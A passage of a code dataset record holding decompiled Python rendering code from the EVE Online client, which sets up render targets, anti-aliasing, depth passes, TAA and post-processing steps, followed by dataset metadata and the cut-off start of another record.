proj):\n super(SceneRenderJobSpace, self).SetCameraProjection(proj)\n self._SetUpdateStep(trinity.TriStepSetProjection(proj), 'SET_PROJECTION')\n\n def SetActiveCamera(self, camera=None, view=None, projection=None):\n if camera is None and view is None and projection is None:\n self.RemoveStep('SET_VIEW')\n self.RemoveStep('SET_PROJECTION')\n self.RemoveStep('SET_UPDATE_VIEW')\n self.RemoveStep('SET_UPDATE_PROJECTION')\n return\n else:\n if camera is not None:\n self.AddStep('SET_VIEW', trinity.TriStepSetView(None, camera))\n self.AddStep('SET_UPDATE_VIEW', trinity.TriStepSetView(None, camera))\n self._SetUpdateStep(trinity.TriStepSetView(None, camera), 'SET_VIEW')\n self.AddStep('SET_PROJECTION', trinity.TriStepSetProjection(camera.projectionMatrix))\n self.AddStep('SET_UPDATE_PROJECTION', trinity.TriStepSetProjection(camera.projectionMatrix))\n self._SetUpdateStep(trinity.TriStepSetProjection(camera.projectionMatrix), 'SET_PROJECTION')\n if view is not None:\n self.AddStep('SET_VIEW', trinity.TriStepSetView(view))\n self.AddStep('SET_UPDATE_VIEW', trinity.TriStepSetView(view))\n self._SetUpdateStep(trinity.TriStepSetView(view), 'SET_VIEW')\n if projection is not None:\n self.AddStep('SET_PROJECTION', trinity.TriStepSetProjection(projection))\n self.AddStep('SET_UPDATE_PROJECTION', trinity.TriStepSetProjection(projection))\n self._SetUpdateStep(trinity.TriStepSetProjection(projection), 'SET_PROJECTION')\n return\n\n def SetActiveScene(self, scene, key=None):\n self.activeSceneKey = key\n self.SetScene(scene)\n self.postProcessingJob.SetActiveKey(key)\n\n def _SetDepthMap(self):\n if not self.enabled:\n return\n elif self.GetScene() is None:\n return\n else:\n if hasattr(self.GetScene(), 'depthTexture'):\n if self.doDepthPass:\n self.GetScene().depthTexture = self.depthTexture\n else:\n self.GetScene().depthTexture = None\n return\n\n def _SetDistortionMap(self):\n if not self.enabled:\n return\n elif self.GetScene() is None:\n return\n else:\n if hasattr(self.GetScene(), 'distortionTexture'):\n self.GetScene().distortionTexture = self.distortionTexture\n return\n\n def _SetVelocityMap(self):\n if not self.enabled:\n return\n elif self.GetScene() is None:\n return\n else:\n if hasattr(self.GetScene(), 'velocityMap'):\n self.GetScene().velocityMap = self.velocityTexture\n return\n\n def _SetShadowMap(self):\n scene = self.GetScene()\n if scene is None:\n return\n else:\n if self.shadowQuality > 1:\n scene.shadowMap = self.shadowMap\n scene.shadowFadeThreshold = 180\n scene.shadowThreshold = 80\n elif self.shadowQuality > 0:\n scene.shadowMap = self.shadowMap\n scene.shadowFadeThreshold = 200\n scene.shadowThreshold = 120\n else:\n scene.shadowMap = None\n return\n\n def _SetSecondaryLighting(self):\n scene = self.GetScene()\n if scene is None:\n return\n else:\n if self.secondaryLighting:\n if not scene.shLightingManager:\n scene.shLightingManager = trinity.Tr2ShLightingManager()\n scene.shLightingManager.primaryIntensity = gfxsettings.SECONDARY_LIGHTING_INTENSITY\n scene.shLightingManager.secondaryIntensity = gfxsettings.SECONDARY_LIGHTING_INTENSITY\n else:\n scene.shLightingManager = None\n return\n\n def ForceDepthPass(self, enabled):\n self.forceDepthPass = enabled\n\n def EnablePostProcessing(self, enabled):\n if enabled:\n self.AddStep('RJ_POSTPROCESSING', trinity.TriStepRunJob(self.postProcessingJob))\n else:\n self.RemoveStep('RJ_POSTPROCESSING')\n\n def _RefreshPostProcessingJob(self, job, enabled):\n if enabled:\n job.Prepare(self._GetSourceRTForPostProcessing(), self.blitTexture, destination=self._GetDestinationRTForPostProcessing())\n job.CreateSteps()\n else:\n job.Release()\n\n def _GetSourceRTForPostProcessing(self):\n if self.customBackBuffer is not None:\n return self.customBackBuffer\n else:\n return self.GetBackBufferRenderTarget()\n\n def _GetDestinationRTForPostProcessing(self):\n if self.useFXAA and self.antiAliasingEnabled:\n return self.customBackBuffer\n else:\n return None\n\n def _DoFormatConversionStep(self, hdrTexture, msaaTexture=None):\n job = CreateRenderJob()\n job.name = 'DoFormatConversion'\n if msaaTexture is not None:\n if hdrTexture is not None:\n job.steps.append(trinity.TriStepResolve(hdrTexture, msaaTexture))\n else:\n job.steps.append(trinity.TriStepResolve(self.GetBackBufferRenderTarget(), msaaTexture))\n return trinity.TriStepRunJob(job)\n job.steps.append(trinity.TriStepSetStdRndStates(trinity.RM_FULLSCREEN))\n job.steps.append(trinity.TriStepRenderTexture(hdrTexture))\n return trinity.TriStepRunJob(job)\n\n def _GetRTForDepthPass(self):\n return self.GetBackBufferRenderTarget()\n\n def _CreateTaaStep(self):\n rj = trinity.TriRenderJob()\n scene = self.GetScene()\n if scene is not None:\n self.taaJob.SetPostProcessPSData(scene.GetPostProcessPSBuffer())\n rj.steps.append(trinity.TriStepRunJob(self.taaJob))\n rj.steps.append(trinity.TriStepResolve(self.accumulationBuffer, self._GetSourceRTForPostProcessing()))\n self.AddStep('DO_TAA', trinity.TriStepRunJob(rj))\n taaTriTextureRes = trinity.TriTextureRes()\n taaTriTextureRes.SetFromRenderTarget(self.accumulationBuffer)\n self.taaJob.SetPostProcessVariable('TAA', 'LastFrame', taaTriTextureRes)\n velocityTriTextureRes = trinity.TriTextureRes()\n velocityTriTextureRes.SetFromRenderTarget(self.velocityTexture)\n if self.msaaEnabled:\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMapMsaa', velocityTriTextureRes)\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMap', None)\n else:\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMapMsaa', None)\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMap', velocityTriTextureRes)\n return\n\n def _CreateDepthPass(self):\n rj = trinity.TriRenderJob()\n if _singletons.platform != 'dx11' and self.enabled and self.doDepthPass and self.depthTexture is not None:\n rj.steps.append(trinity.TriStepPushViewport())\n rj.steps.append(trinity.TriStepPushRenderTarget(self._GetRTForDepthPass()))\n rj.steps.append(trinity.TriStepPushDepthStencil(self.depthTexture))\n rj.steps.append(trinity.TriStepPopViewport())\n rj.steps.append(trinity.TriStepPushViewport())\n rj.steps.append(trinity.TriStepRenderPass(self.GetScene(), trinity.TRIPASS_DEPTH_PASS))\n rj.steps.append(trinity.TriStepPopDepthStencil())\n rj.steps.append(trinity.TriStepPopRenderTarget())\n rj.steps.append(trinity.TriStepPopViewport())\n self.AddStep('RENDER_DEPTH_PASS', trinity.TriStepRunJob(rj))\n return\n\n def _CreateBackgroundStep(self, scene=None):\n if scene is None:\n scene = self.GetScene()\n job = CreateRenderJob()\n job.steps.append(trinity.TriStepRenderPass(scene, trinity.TRIPASS_BACKGROUND_RENDER))\n job.steps.append(trinity.TriStepRunJob(self.backgroundDistortionJob))\n self.AddStep('RENDER_BACKGROUND', trinity.TriStepRunJob(job))\n return\n\n def _SetBackgroundScene(self, scene):\n backgroundJob = self.GetStep('RENDER_BACKGROUND')\n if backgroundJob is not None:\n backgroundJob.job.steps[0].scene = scene\n return\n\n def _FindUpdateStep(self, key):\n for each in self.updateJob.steps:\n if each.name == key:\n return each\n\n def _CreateUpdateStep(self, step, name):\n self.updateJob.steps.append(step)\n step.name = name\n\n def _CreateUpdateSteps(self):\n self._CreateUpdateStep(trinity.TriStepSetView(), 'SET_VIEW')\n self._CreateUpdateStep(trinity.TriStepSetProjection(), 'SET_PROJECTION')\n self._CreateUpdateStep(trinity.TriStepUpdate(self.GetScene()), 'UPDATE_SCENE')\n\n def _SetUpdateStep(self, step, name):\n if self.updateJob is None:\n return\n else:\n step.name = name\n idx = 0\n for i, each in enumerate(self.updateJob.steps):\n if each.name == name:\n idx = i\n break\n\n self.updateJob.steps[idx] = step\n return\n\n def _SetScene(self, scene):\n self.currentMultiViewStageKey\n if self.updateJob is not None:\n if len(self.updateJob.steps) > 0:\n self._FindUpdateStep('UPDATE_SCENE').object = scene\n else:\n self.SetStepAttr('UPDATE_SCENE', 'object', scene)\n self.SetStepAttr('RENDER_MAIN_PASS', 'scene', scene)\n self.SetStepAttr('BEGIN_RENDER', 'scene', scene)\n self.SetStepAttr('END_RENDERING', 'scene', scene)\n self.SetStepAttr('RENDER_MAIN_PASS', 'scene', scene)\n self.SetStepAttr('SET_PERFRAME_DATA', 'scene', scene)\n if scene is not None:\n self.taaJob.SetPostProcessPSData(scene.GetPostProcessPSBuffer())\n else:\n self.taaJob.SetPostProcessPSData(None)\n self._CreateDepthPass()\n self._SetBackgroundScene(scene)\n self.ApplyPerformancePreferencesToScene()\n return\n\n def _CreateBasicRenderSteps(self):\n if self.updateJob is not None:\n if len(self.updateJob.steps) == 0:\n self._CreateUpdateSteps()\n else:\n self._SetUpdateStep(trinity.TriStepUpdate(self.GetScene(), 'UPDATE_SCENE'))\n else:\n self.AddStep('UPDATE_SCENE', trinity.TriStepUpdate(self.GetScene()))\n self.AddStep('BEGIN_RENDER', trinity.TriStepRenderPass(self.GetScene(), trinity.TRIPASS_BEGIN_RENDER))\n self.AddStep('END_RENDERING', trinity.TriStepRenderPass(self.GetScene(), trinity.TRIPASS_END_RENDER))\n self.AddStep('RENDER_MAIN_PASS', trinity.TriStepRenderPass(self.GetScene(), trinity.TRIPASS_MAIN_RENDER))\n self.AddStep('SET_PERFRAME_DATA', trinity.TriStepRenderPass(self.GetScene(), trinity.TRIPASS_SET_PERFRAME_DATA))\n self._CreateDepthPass()\n self._CreateBackgroundStep()\n self.AddStep('CLEAR', trinity.TriStepClear((0.0, 0.0, 0.0, 0.0), 0.0))\n if self.clientToolsScene is not None:\n self.SetClientToolsScene(self.clientToolsScene.object)\n return\n\n def DoReleaseResources(self, level):\n self.prepared = False\n self.hdrEnabled = False\n self.usePostProcessing = False\n self.shadowQuality = 0\n self.shadowMap = None\n self.depthTexture = None\n self.renderTargetList = None\n self.customBackBuffer = None\n self.customDepthStencil = None\n self.depthTexture = None\n self.blitTexture = None\n self.distortionTexture = None\n self.accumulationBuffer = None\n self.velocityTexture = None\n self.postProcessingJob.Release()\n self.distortionJob.Release()\n self.backgroundDistortionJob.Release()\n self.sceneDesaturation.Disable()\n self.sceneFadeOut.Disable()\n self.distortionJob.SetPostProcessVariable('Distortion', 'TexDistortion', None)\n self.backgroundDistortionJob.SetPostProcessVariable('Distortion', 'TexDistortion', None)\n self.taaJob.Release()\n self.taaJob.SetPostProcessVariable('TAA', 'LastFrame', None)\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMap', None)\n self.taaJob.SetPostProcessVariable('TAA', 'VelocityMapMsaa', None)\n self.taaJob.SetPostProcessPSData(None)\n self._SetDistortionMap()\n self._RefreshRenderTargets()\n return\n\n def NotifyResourceCreationFailed(self):\n import localization\n eve.Message('CustomError', {'error': localization.GetByLabel('UI/Shared/VideoMemoryError')\n })\n\n def _GetSettings(self):\n currentSettings = {}\n currentSettings['hdrEnabled'] = gfxsettings.Get(gfxsettings.GFX_HDR_ENABLED)\n currentSettings['postProcessingQuality'] = gfxsettings.Get(gfxsettings.GFX_POST_PROCESSING_QUALITY)\n currentSettings['shadowQuality'] = gfxsettings.Get(gfxsettings.GFX_SHADOW_QUALITY)\n currentSettings['aaQuality'] = gfxsettings.Get(gfxsettings.GFX_ANTI_ALIASING)\n try:\n currentSettings['gpuParticles'] = gfxsettings.Get(gfxsettings.UI_GPU_PARTICLES_ENABLED)\n except gfxsettings.UninitializedSettingsGroupError:\n currentSettings['gpuParticles'] = gfxsettings.GetDefault(gfxsettings.UI_GPU_PARTICLES_ENABLED)\n\n return currentSettings\n\n def ApplyBaseSettings(self):\n currentSettings = self._GetSettings()\n self.bbFormat = _singletons.device.GetRenderContext().GetBackBufferFormat()\n self.postProcessingQuality = currentSettings['postProcessingQuality']\n self.shadowQuality = currentSettings['shadowQuality']\n self.aaQuality = currentSettings['aaQuality']\n self.hdrEnabled = currentSettings['hdrEnabled']\n self.gpuParticlesEnabled = currentSettings.get('gpuParticles', True)\n isDepth = trinity.GetShaderModel().endswith('DEPTH')\n self.secondaryLighting = self.distortionEffectsEnabled = isDepth\n self.useDepth = isDepth or _singletons.platform == 'dx11'\n trinity.settings.SetValue('eveSpaceSceneDynamicLighting', trinity.GetShaderModel().endswith('DEPTH') and _singletons.platform == 'dx11')\n if 'hdrEnabled' in self.overrideSettings:\n self.hdrEnabled = self.overrideSettings['hdrEnabled']\n if 'bbFormat' in self.overrideSettings:\n self.bbFormat = self.overrideSettings['bbFormat']\n if 'aaQuality' in self.overrideSettings:\n self.aaQuality = self.overrideSettings['aaQuality']\n\n def OverrideSettings(self, key, value):\n self.overrideSettings[key] = value\n\n def _CreateRenderTargets(self):\n if not self.prepared:\n return\n else:\n width, height = self.GetBackBufferSize()\n dsFormatAL = _singletons.device.depthStencilFormat\n useCustomBackBuffer = self.hdrEnabled or self.msaaEnabled or self.fxaaEnabled\n customFormat = trinity.PIXEL_FORMAT.R16G16B16A16_FLOAT if self.hdrEnabled else self.bbFormat\n msaaType = self.msaaType if self.msaaEnabled else 1\n if useCustomBackBuffer and self._TargetDiffers(self.customBackBuffer, 'trinity.Tr2RenderTarget', customFormat, msaaType, width, height):\n if self.msaaEnabled:\n self.customBackBuffer = rtm.GetRenderTargetMsaaAL(width, height, customFormat, msaaType, 0)\n else:\n self.customBackBuffer = rtm.GetRenderTargetAL(width, height, 1, customFormat)\n if self.customBackBuffer is not None:\n self.customBackBuffer.name = 'sceneRenderJobSpace.customBackBuffer'\n elif not useCustomBackBuffer:\n self.customBackBuffer = None\n if self.msaaEnabled and self._TargetDiffers(self.customDepthStencil, 'trinity.Tr2DepthStencil', dsFormatAL, msaaType, width, height):\n self.customDepthStencil = rtm.GetDepthStencilAL(width, height, dsFormatAL, msaaType)\n elif not self.msaaEnabled:\n self.customDepthStencil = None\n if self.useDepth:\n if _singletons.platform == 'dx11':\n if self.customDepthStencil is not None:\n self.depthTexture = self.customDepthStencil\n elif self._TargetDiffers(self.depthTexture, 'trinity.Tr2DepthStencil', trinity.DEPTH_STENCIL_FORMAT.D32F, 0, width, height):\n self.depthTexture = rtm.GetDepthStencilAL(width, height, trinity.DEPTH_STENCIL_FORMAT.D32F)\n if self.depthTexture is not None and self.depthTexture.IsReadable():\n self.depthTexture.name = 'sceneRenderJobSpace.depthTexture'\n else:\n self.depthTexture = None\n elif self._TargetDiffers(self.depthTexture, 'trinity.Tr2DepthStencil', trinity.DEPTH_STENCIL_FORMAT.READABLE, 0, width, height):\n self.depthTexture = rtm.GetDepthStencilAL(width, height, trinity.DEPTH_STENCIL_FORMAT.READABLE)\n if self.depthTexture is not None and self.depthTexture.IsReadable():\n self.depthTexture.name = 'sceneRenderJobSpace.depthTexture'\n else:\n self.depthTexture = None\n else:\n self.depthTexture = None\n useBlitTexture = self.usePostProcessing or self.distortionEffectsEnabled or self.taaEnabled\n useBlitTexture = useBlitTexture or self.hdrEnabled and self.msaaEnabled\n blitFormat = trinity.PIXEL_FORMAT.R16G16B16A16_FLOAT if self.hdrEnabled else self.bbFormat\n if useBlitTexture and self._TargetDiffers(self.blitTexture, 'trinity.Tr2RenderTarget', blitFormat, 0, width, height):\n self.blitTexture = rtm.GetRenderTargetAL(width, height, 1, blitFormat, index=1)\n if self.blitTexture is not None:\n self.blitTexture.name = 'sceneRenderJobSpace.blitTexture'\n elif not useBlitTexture:\n self.blitTexture = None\n if self.distortionEffectsEnabled:\n index = 0\n if self.fxaaEnabled and self.bbFormat == trinity.PIXEL_FORMAT.B8G8R8A8_UNORM and not self.hdrEnabled:\n if useBlitTexture:\n index = 2\n else:\n index = 1\n if self._TargetDiffers(self.distortionTexture, 'trinity.Tr2RenderTarget', trinity.PIXEL_FORMAT.B8G8R8A8_UNORM, 0, width, height):\n self.distortionTexture = rtm.GetRenderTargetAL(width, height, 1, trinity.PIXEL_FORMAT.B8G8R8A8_UNORM, index)\n if self.distortionTexture:\n self.distortionTexture.name = 'sceneRenderJobSpace.distortionTexture'\n self._SetDistortionMap()\n else:\n self.distortionTexture = None\n self._SetDistortionMap()\n if self.taaEnabled:\n key = (id(self), 'AccumulationBuffer')\n self.accumulationBuffer = rtm.GetRenderTargetAL(width, height, 1, blitFormat, key)\n self.accumulationBuffer.name = 'accumulationBuffer'\n if self.msaaEnabled:\n self.velocityTexture = rtm.GetRenderTargetMsaaAL(width, height, trinity.PIXEL_FORMAT.R16G16_FLOAT, msaaType, 0, 'VelocityMap')\n self.velocityTexture.name = 'VelocityMapMSAA'\n else:\n self.velocityTexture = rtm.GetRenderTargetAL(width, height, 1, trinity.PIXEL_FORMAT.R16G16_FLOAT, 'VelocityMap')\n self.velocityTexture.name = 'VelocityMap'\n else:\n self.accumulationBuffer = None\n self.velocityTexture = None\n return\n\n def _TargetDiffers(self, target, blueType, format, msType=0, width=0, height=0):\n if target is None:\n return True\n elif blueType != target.__bluetype__:\n return True\n elif format != target.format:\n return True\n multiSampleType = getattr(target, 'multiSampleType', None)\n if multiSampleType is not None and multiSampleType != msType:\n return True\n elif width != 0 and target.width != width:\n return True\n elif height != 0 and target.height != height:\n return True\n else:\n return False\n\n def _RefreshRenderTargets(self):\n self.renderTargetList = (\n blue.BluePythonWeakRef(self.customBackBuffer), blue.BluePythonWeakRef(self.customDepthStencil), blue.BluePythonWeakRef(self.depthTexture), blue.BluePythonWeakRef(self.blitTexture), blue.BluePythonWeakRef(self.distortionTexture), blue.BluePythonWeakRef(self.accumulationBuffer))\n renderTargets = (x.object for x in self.renderTargetList)\n self.SetRenderTargets(*renderTargets)\n\n def _RefreshAntiAliasing(self):\n if 'aaQuality' not in self.overrideSettings:\n self.msaaQuality = self._GetMSAAQualityFromAAQuality(gfxsettings.Get(gfxsettings.GFX_ANTI_ALIASING))\n taaEnabled = gfxsettings.IsTAAEnabled(gfxsettings.Get(gfxsettings.GFX_ANTI_ALIASING))\n self.taaEnabled = taaEnabled and _singletons.platform == 'dx11' and trinity.GetShaderModel().endswith('DEPTH') and self.useTAA\n if self.taaEnabled and self.prepared:\n self.taaJob.AddPostProcess('TAA', self.taaPath)\n else:\n self.taaJob.RemovePostProcess('TAA')\n self.msaaType = self._GetMSAATypeFromQuality(self.aaQuality)\n self.fxaaQuality = self._GetFXAAQuality(self.aaQuality)\n if self.useFXAA:\n self.EnableFXAA(self.antiAliasingEnabled)\n else:\n self.EnableMSAA(self.antiAliasingEnabled)\n\n def UseFXAA(self, flag):\n self.useFXAA = flag\n if self.useFXAA:\n self.EnableMSAA(False)\n else:\n self.EnableFXAA(False)\n self._RefreshAntiAliasing()\n\n def EnableDistortionEffects(self, enable):\n self.distortionEffectsEnabled = enable\n\n def EnableAntiAliasing(self, enable):\n self.antiAliasingEnabled = enable\n self._RefreshAntiAliasing()\n\n def EnableFXAA(self, enable):\n self.fxaaEnabled = enable\n if not self.prepared:\n return\n else:\n if enable:\n if getattr(self, 'fxaaEffect', None) is None:\n self.fxaaEffect = trinity.Tr2ShaderMaterial()\n self.fxaaEffect.highLevelShaderName = 'PostProcess'\n self.fxaaEffect.defaultSituation = self.fxaaQuality\n self.fxaaEffect.BindLowLevelShader([])\n self.AddStep('FXAA', trinity.TriStepRenderFullScreenShader(self.fxaaEffect))\n if not self.usePostProcessing:\n self.AddStep('FXAA_CLEAR', trinity.TriStepClear((0, 0, 0, 1), 1.0))\n self.RemoveStep('FINAL_BLIT')\n else:\n self.RemoveStep('FXAA')\n self.RemoveStep('FXAA_CLEAR')\n if not self.enabled:\n return\n self._CreateRenderTargets()\n self._RefreshRenderTargets()\n return\n\n def EnableMSAA(self, enable):\n self.msaaEnabled = enable\n if not self.prepared:\n return\n if not self.enabled:\n return\n self._CreateRenderTargets()\n self._RefreshRenderTargets()\n\n def DoPrepareResources(self):\n if not self.enabled or not self.canCreateRenderTargets:\n return\n try:\n self.prepared = True\n self.SetSettingsBasedOnPerformancePreferences()\n except trinity.D3DERR_OUTOFVIDEOMEMORY:\n logger.exception('Caught exception')\n self.DoReleaseResources(1)\n self._RefreshRenderTargets()\n uthread.new(self.NotifyResourceCreationFailed)\n\n def _GetFXAAQuality(self, quality):\n if quality >= gfxsettings.AA_QUALITY_MSAA_HIGH:\n return 'FXAA_High'\n if quality == gfxsettings.AA_QUALITY_MSAA_MEDIUM:\n return 'FXAA_Medium'\n if quality == gfxsettings.AA_QUALITY_MSAA_LOW:\n return 'FXAA_Low'\n return ''\n\n def _GetMSAAQualityFromAAQuality(self, aaQuality):\n qual = gfxsettings.AA_QUALITY_MSAA_HIGH\n try:\n if sm.IsServiceRunning('device'):\n qual = sm.GetService('device').GetMSAAQualityFromAAQuality(aaQuality)\n except NameError:\n pass\n\n return qual & gfxsettings.AA_QUALITY_MASK\n\n def _GetMSAATypeFromQuality(self, aaQuality):\n msaaType = 8\n try:\n if sm.IsServiceRunning('device'):\n msaaType = sm.GetService('device').GetMSAATypeFromQuality(aaQuality)\n except NameError:\n pass\n\n return msaaType\n\n def _SetSettingsBasedOnPerformancePreferences(self):\n self.msaaQuality = self._GetMSAAQualityFromAAQuality(self.aaQuality)\n self.antiAliasingEnabled = self.msaaQuality > 0 or self.useFXAA and self.aaQuality != gfxsettings.AA_QUALITY_DISABLED\n self.msaaType = self._GetMSAATypeFromQuality(self.aaQuality)\n self.fxaaQuality = self._GetFXAAQuality(self.aaQuality)\n if self.shadowQuality > 0 and self.shadowMap is None:\n self.shadowMap = trinity.TriShadowMap()\n elif self.shadowQuality == 0:\n self.shadowMap = None\n if self.postProcessingQuality == 1:\n self.postProcessingJob.AddPostProcess(evePostProcess.POST_PROCESS_BLOOM_LOW)\n self.sceneDesaturation.Enable()\n elif self.postProcessingQuality == 2:\n self.postProcessingJob.AddPostProcess(evePostProcess.POST_PROCESS_BLOOM_HIGH)\n self.sceneDesaturation.Enable()\n else:\n self.postProcessingJob.RemovePostProcess(evePostProcess.PP_GROUP_BLOOM)\n self.sceneDesaturation.Disable()\n return\n\n def SetSettingsBasedOnPerformancePreferences(self):\n if not self.enabled:\n return\n self.ApplyBaseSettings()\n self._SetSettingsBasedOnPerformancePreferences()\n self.usePostProcessing = self.postProcessingQuality > 0\n self.doDepthPass = not self.useFXAA and self.msaaType > 1 or self.forceDepthPass\n if self.distortionEffectsEnabled:\n self.distortionJob.AddPostProcess('Distortion', 'res:/fisfx/postprocess/distortion.red')\n self.backgroundDistortionJob.AddPostProcess('Distortion', 'res:/fisfx/postprocess/distortion.red')\n if self.taaEnabled and trinity.GetShaderModel().endswith('DEPTH'):\n self.taaJob.AddPostProcess('TAA', 'res:/fisfx/postprocess/taa.red')\n else:\n self.taaJob.RemovePostProcess('TAA')\n self._RefreshAntiAliasing()\n self._CreateRenderTargets()\n self._RefreshRenderTargets()\n self.ApplyPerformancePreferencesToScene()\n\n def ApplyPerformancePreferencesToScene(self):\n self._SetShadowMap()\n self._SetDepthMap()\n self._SetDistortionMap()\n self._SetVelocityMap()\n self._SetSecondaryLighting()\n trinity.settings.SetValue('eveSpaceSceneDynamicLighting', trinity.GetShaderModel().endswith('DEPTH') and _singletons.platform == 'dx11')\n scene = self.GetScene()\n if scene is None:\n return\n else:\n if self.gpuParticlesEnabled:\n if not scene.gpuParticleSystem:\n scene.gpuParticleSystem = blue.resMan.LoadObject('res:/fisfx/gpuparticles/system.red')\n else:\n scene.gpuParticleSystem = None\n if self.taaEnabled:\n scene.pixelOffsetScale = self.taaPixelOffset\n scene.taaSubpixelPattern = self.taaPattern\n else:\n scene.pixelOffsetScale = 0\n scene.taaSubpixelPattern = 0\n return\n\n def SetMultiViewStage(self, stageKey):\n self.currentMultiViewStageKey = stageKey\n\n def SetRenderTargets(self, customBackBuffer, customDepthStencil, depthTexture, blitTexture, distortionTexture, accumulationBuffer):\n self.RemoveStep('SET_DEPTH')\n if self.GetSwapChain() is not None:\n self.AddStep('SET_SWAPCHAIN_RT', trinity.TriStepSetRenderTarget(self.GetSwapChain().backBuffer))\n self.AddStep('SET_SWAPCHAIN_DEPTH', trinity.TriStepSetDepthStencil(self.GetSwapChain().depthStencilBuffer))\n else:\n self.RemoveStep('SET_SWAPCHAIN_RT')\n self.RemoveStep('SET_SWAPCHAIN_DEPTH')\n activePostProcessing = self.usePostProcessing and self.postProcessingJob.liveCount > 0\n if customBackBuffer is not None:\n self.AddStep('SET_CUSTOM_RT', trinity.TriStepPushRenderTarget(customBackBuffer))\n self.AddStep('SET_FINAL_RT', trinity.TriStepPopRenderTarget())\n if self.testPostProcess:\n self.AddStep('FINAL_BLIT', trinity.TriStepRunJob(self.testPostProcess.renderJob))\n elif self.msaaEnabled and not activePostProcessing:\n if self.hdrEnabled:\n self.AddStep('FINAL_BLIT', self._DoFormatConversionStep(blitTexture, customBackBuffer))\n else:\n self.AddStep('FINAL_BLIT', trinity.TriStepResolve(self.GetBackBufferRenderTarget(), customBackBuffer))\n elif self.hdrEnabled and not activePostProcessing and not self.msaaEnabled:\n self.AddStep('FINAL_BLIT', self._DoFormatConversionStep(customBackBuffer))\n else:\n self.RemoveStep('FINAL_BLIT')\n if self.fxaaEnabled:\n self.AddStep('SET_VAR_GATHER', trinity.TriStepSetVariableStore('GatherMap', customBackBuffer))\n self.RemoveStep('FINAL_BLIT')\n else:\n self.RemoveStep('SET_VAR_GATHER')\n else:\n self.RemoveStep('SET_CUSTOM_RT')\n self.RemoveStep('FINAL_BLIT')\n self.RemoveStep('SET_FINAL_RT')\n self.RemoveStep('SET_VAR_GATHER')\n if customDepthStencil is not None:\n self.AddStep('SET_DEPTH', trinity.TriStepPushDepthStencil(customDepthStencil))\n self.AddStep('RESTORE_DEPTH', trinity.TriStepPopDepthStencil())\n else:\n self.RemoveStep('RESTORE_DEPTH')\n if self.depthTexture is not None:\n if not self.doDepthPass:\n self.AddStep('SET_DEPTH', trinity.TriStepPushDepthStencil(depthTexture))\n self.AddStep('RESTORE_DEPTH', trinity.TriStepPopDepthStencil())\n self._SetDepthMap()\n if self.depthTexture.multiSampleType > 1:\n self.AddStep('SET_VAR_DEPTH', trinity.TriStepSetVariableStore('DepthMap', trinity.TriTextureRes()))\n self.AddStep('SET_VAR_DEPTH_MSAA', trinity.TriStepSetVariableStore('DepthMapMsaa', depthTexture))\n else:\n self.AddStep('SET_VAR_DEPTH', trinity.TriStepSetVariableStore('DepthMap', depthTexture))\n self.AddStep('SET_VAR_DEPTH_MSAA', trinity.TriStepSetVariableStore('DepthMapMsaa', trinity.TriTextureRes()))\n else:\n if not self.msaaEnabled:\n self.RemoveStep('SET_DEPTH')\n self.RemoveStep('RESTORE_DEPTH')\n self.RemoveStep('SET_VAR_DEPTH')\n self.RemoveStep('SET_VAR_DEPTH_MSAA')\n if self.testPostProcess:\n self.testPostProcess.SetSource(self._GetSourceRTForPostProcessing())\n self.testPostProcess.SetDest(self._GetDestinationRTForPostProcessing())\n self._RefreshPostProcessingJob(self.postProcessingJob, self.usePostProcessing and self.prepared)\n self._RefreshPostProcessingJob(self.distortionJob, self.distortionEffectsEnabled and self.prepared)\n self._RefreshPostProcessingJob(self.backgroundDistortionJob, self.distortionEffectsEnabled and self.prepared)\n self._RefreshPostProcessingJob(self.taaJob, self.taaEnabled and self.prepared)\n if distortionTexture is not None:\n self.AddStep('DO_DISTORTIONS', trinity.TriStepRunJob(self.distortionJob))\n distortionTriTextureRes = trinity.TriTextureRes()\n distortionTriTextureRes.SetFromRenderTarget(distortionTexture)\n self.distortionJob.SetPostProcessVariable('Distortion', 'TexDistortion', distortionTriTextureRes)\n self.backgroundDistortionJob.SetPostProcessVariable('Distortion', 'TexDistortion', distortionTriTextureRes)\n else:\n self.RemoveStep('DO_DISTORTIONS')\n if accumulationBuffer is not None:\n self._CreateTaaStep()\n else:\n self.RemoveStep('DO_TAA')\n self._CreateDepthPass()\n return\n\n def GetRenderTargets(self):\n return self.renderTargetList\n\n def EnableSceneUpdate(self, isEnabled):\n if self.updateJob:\n if isEnabled:\n if len(self.updateJob.steps) == 0:\n self._CreateUpdateSteps()\n else:\n self._SetUpdateStep(trinity.TriStepUpdate(self.GetScene()), 'UPDATE_SCENE')\n elif len(self.updateJob.steps) > 0:\n del self.updateJob.steps[0]\n elif isEnabled:\n self.AddStep('UPDATE_SCENE', trinity.TriStepUpdate(self.GetScene()))\n else:\n self.RemoveStep('UPDATE_SCENE')\n\n def EnableVisibilityQuery(self, isEnabled):\n pass\n\n\nclass ScenePostProcessWrapper(object):\n attrName = 'None'\n ppType = None\n initial_value = 1.0\n\n def __init__(self, ppJob):\n self.ppJob = ppJob\n self._value = self.initial_value\n\n @property\n def value(self):\n return self._value\n\n @value.setter\n def value(self, value):\n self._value = value\n self.ppJob.SetPostProcessVariable(self.ppType, self.attrName, value)\n\n def Disable(self):\n self.ppJob.RemovePostProcess(self.ppType)\n\n def Enable(self):\n self.ppJob.AddPostProcess(self.ppType)\n\n\nclass SceneDesaturation(ScenePostProcessWrapper):\n attrName = 'SaturationFactor'\n ppType = evePostProcess.POST_PROCESS_DESATURATE\n\n\nclass SceneFadeOut(ScenePostProcessWrapper):\n attrName = 'Color'\n ppType = evePostProcess.POST_PROCESS_FADE_OUT\n initial_value = (0.0, 0.0, 0.0, 0.0)\n\n def __init__(self, ppJob):\n ScenePostProcessWrapper.__init__(self, ppJob)\n self._value = self.initial_value\n\n @property\n def color(self):\n return self._value[:3]\n\n @color.setter\n def color(self, c):\n self.value = c + (self._value[3],)\n\n @property\n def opacity(self):\n return self._value[3]\n\n @opacity.setter\n def opacity(self, c):\n self.value = self._value[:3] + (c,)","sub_path":"client/trinity/sceneRenderJobSpace.py","file_name":"sceneRenderJobSpace.py","file_ext":"py","file_size_in_byte":40345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446108843","text":"#coding:utf-8\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\nfrom selenium.common.exceptions import TimeoutException\nfrom 